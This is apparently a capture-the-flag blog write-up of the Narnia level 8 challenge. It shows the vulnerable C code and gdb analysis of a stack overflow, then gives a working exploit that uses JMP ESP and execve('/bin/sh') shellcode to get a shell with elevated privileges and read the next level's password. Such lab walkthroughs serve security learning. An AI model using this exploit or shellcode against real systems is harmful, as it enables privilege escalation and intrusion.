1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 | #include <stdio.h> #include <stdlib.h> #include <string.h> // gcc's variable reordering fucked things up // to keep the level in its old style i am // making "i" global until i find a fix // -morla int i; void func(char *b){ char *blah=b; char bok[20]; //int i=0; memset(bok, '\0', sizeof(bok)); for(i=0; blah[i] != '\0'; i++) bok[i]=blah[i]; printf("%s\n",bok); } int main(int argc, char **argv){ if(argc > 1) func(argv[1]); else printf("%s argument\n", argv[0]); return 0; } |
The vulnerable part is in the function func()
When it's called, it allocates in the stack:
- blah -> pointer to argument
- bok[20] -> buffer of 20 bytes that will store the content of the argument passed to func()
if we pass an argument longer than 20 we can overwrite past the bok[20] buffer, but it seems to be wroking only on some inputs and lenghts.
The point is that whenever we reach the 21st byte, we're overwriting *blah that points to what we are trying to copy from.
Therefore if we put an arbitrary value for the 21st bytes, it will change the location where the copy cycle gets the source data, and it most probably results in reading invalid memory address, failing with Segmentation Fault error.
Let's disassemble the function func()
Then place a break near the end (after the copy cycle):
arnia8@narnia:~$ gdb /narnia/narnia8 ... Reading symbols from /narnia/narnia8...(no debugging symbols found)...done. (gdb) disassemble func Dump of assembler code for function func: ... 0x0804847a <+95>: jne 0x8048443 <func+40> 0x0804847c <+97>: lea -0x18(%ebp),%eax 0x0804847f <+100>: push %eax 0x08048480 <+101>: push $0x8048550 0x08048485 <+106>: call 0x80482e0 <printf@plt> 0x0804848a <+111>: add $0x8,%esp 0x0804848d <+114>: nop 0x0804848e <+115>: leave 0x0804848f <+116>: ret End of assembler dump. (gdb) break *0x0804848a (gdb) set args $(python -c 'print "A"*20') (gdb) r Starting program: /narnia/narnia8 $(python -c 'print "A"*20') AAAAAAAAAAAAAAAAAAAA¦¦¦¦¦¦¦¦¦¦¦¦¦ Breakpoint 1, 0x0804848a in func () (gdb) info reg eax 0x25 37 ecx 0x7fffffdb 2147483611 edx 0xf7fc6870 -134453136 ebx 0x0 0 esp 0xffffd69c 0xffffd69c ebp 0xffffd6bc 0xffffd6bc gs 0x63 99
.... (gdb) x/20x 0xffffd68c 0xffffd68c: 0xffffd6a4 0xf7ffd920 0xf7e5b7d5 0x0804848a 0xffffd69c: 0x08048550 0xffffd6a4 0x41414141 0x41414141 0xffffd6ac: 0x41414141 0x41414141 0x41414141 0xffffd89c 0xffffd6bc: 0xffffd6c8 0x080484a7 0xffffd89c 0x00000000
We get the ESP value and show memory in that area: we see that there are 20 consecutive "0x41" followed by: 0xffffd89c
- 0xffffd89c (the pointer *blah to the argument)
- 0xffffd6c8 (other pointer ebp)
- 0x080484a7 (the return address from func()
Our goal is to overwrite the third value to change execution flow.
But we don't have to touch the 0xffffd89c, otherwise the copy cycle will fail.
Let's try to trigger it adding some specifically crafted bytes:
"A" * 20 + 0xffffd89c + 0xffffd6c8 + "CCCC"
Since we're writing little more bytes, let's decrease the blah pointer from 0xffffd89c to 0xffffd89a
(gdb) set args $(python -c 'print "A"*20 + "\x94\xd8\xff\xff" + "\xc8\xd6\xff\xff" + "CCCC"') (gdb) r Starting program: /narnia/narnia8 $(python -c 'print "A"*20 + "\x90\xd8\xff\xff" + "\xc8\xd6\xff\xff" + "CCCC"') AAAAAAAAAAAAAAAAAAAA¦¦¦¦¦¦¦¦CCCC¦¦¦¦ Program received signal SIGSEGV, Segmentation fault. 0x43434343 in ?? () (gdb) info registers eax 0x25 37 ecx 0x7fffffdb 2147483611 edx 0xf7fc6870 -134453136 ebx 0x0 0 esp 0xffffd6c4 0xffffd6c4 ... (gdb) x/10wx 0xffffd6a4 0xffffd6a4: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd6b4: 0x41414141 0xffffd894 0xffffd6c8 0x43434343 0xffffd6c4: 0xffffd894 0x00000000
Good... we were able to get past *blah. reach the return address and then overwrite it with 0x43434343 (hex value of ASCII "CCCC").
We also see that ESP pointer points just after the "CCCC" string. Therefore we should be able to use the JMP ESP tecnique (used in level 2)
Now we have to create the exploiting code:
We also see that ESP pointer points just after the "CCCC" string. Therefore we should be able to use the JMP ESP tecnique (used in level 2)
Now we have to create the exploiting code:
- 20 filling butes ("A")
- address of *blah (require some guess)
- Base pointer (we can try to use the same as above)
- JMP ESP istruction in memory (reuse Level 2 address: "\x97\x4f\xfc\xf7")
- Add a standard shellcode (execve("bin/sh")
(gdb) set args $(python -c 'print "A"*20 + "\x7d\xd8\xff\xff" + "\xa8\xd6\xff\xff" + "\x97\x4f\xfc\xf7" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"') (gdb) r Starting program: /narnia/narnia8 $(python -c 'print "A"*20 + "\x7d\xd8\xff\xff" + "\xa8\xd6\xff\xff" + "\x97\x4f\xfc\xf7" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"') AAAAAAAAAAAAAAAAAAAA}▒▒▒▒▒▒▒▒O▒▒1▒Ph//shh/bin▒▒PS▒▒ ̀▒ process 14276 is executing new program: /bin/dash
$
Outside gdb we have to guess an address near to "\x7d\xd8\xff\xff".
Let's try with 7d, 7e, 7f ...
In a few retries we find that 8f is the good one:
Let's try with 7d, 7e, 7f ...
In a few retries we find that 8f is the good one:
narnia8@narnia:~$ /narnia/narnia8 $(python -c 'print "A"*20 + "\x8f\xd8\xff\xff" + "\xa8\xd6\xff\xff" + "\x97\x4f\xfc\xf7" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"') AAAAAAAAAAAAAAAAAAAA▒▒▒▒▒▒▒▒▒O▒▒1▒Ph//shh/bin▒▒PS▒▒ ̀▒ $ id uid=14008(narnia8) gid=14008(narnia8) euid=14009(narnia9) groups=14008(narnia8) $ cat /etc/narnia_pass/narnia9 e*******e
$
No comments:
Post a Comment
Note: Only a member of this blog may post a comment.